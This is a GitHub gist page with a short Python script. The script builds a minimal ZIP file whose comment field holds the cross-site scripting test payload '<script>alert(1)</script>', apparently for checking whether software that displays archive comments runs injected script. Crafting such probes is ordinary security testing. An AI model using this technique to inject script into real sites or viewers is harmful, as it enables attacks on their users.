Created
October 8, 2016 11:47
-
-
Save libcrack/67292e4183b646e517505876a6f1b170 to your computer and use it in GitHub Desktop.
Create minimum zip file with an arbitrary comment
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # encoding: utf-8 | |
| # devnull@libcrack.so | |
| # Sat Oct 8 13:45:22 CEST 2016 | |
| import struct | |
| filename = "file.zip" | |
| payload = "<script>alert(1)</script>" | |
| zipcontent = "\x50\x4b\x05\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
| zipcontent += struct.pack("H",len(payload)) | |
| zipcontent += payload | |
| print("Creating file {0}".format(filename)) | |
| fp = open(filename, 'w+') | |
| print("Writing payload") | |
| fp.write(zipcontent) | |
| print("Closing {0}".format(filename)) | |
| fp.close() | |
| print ("Done") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment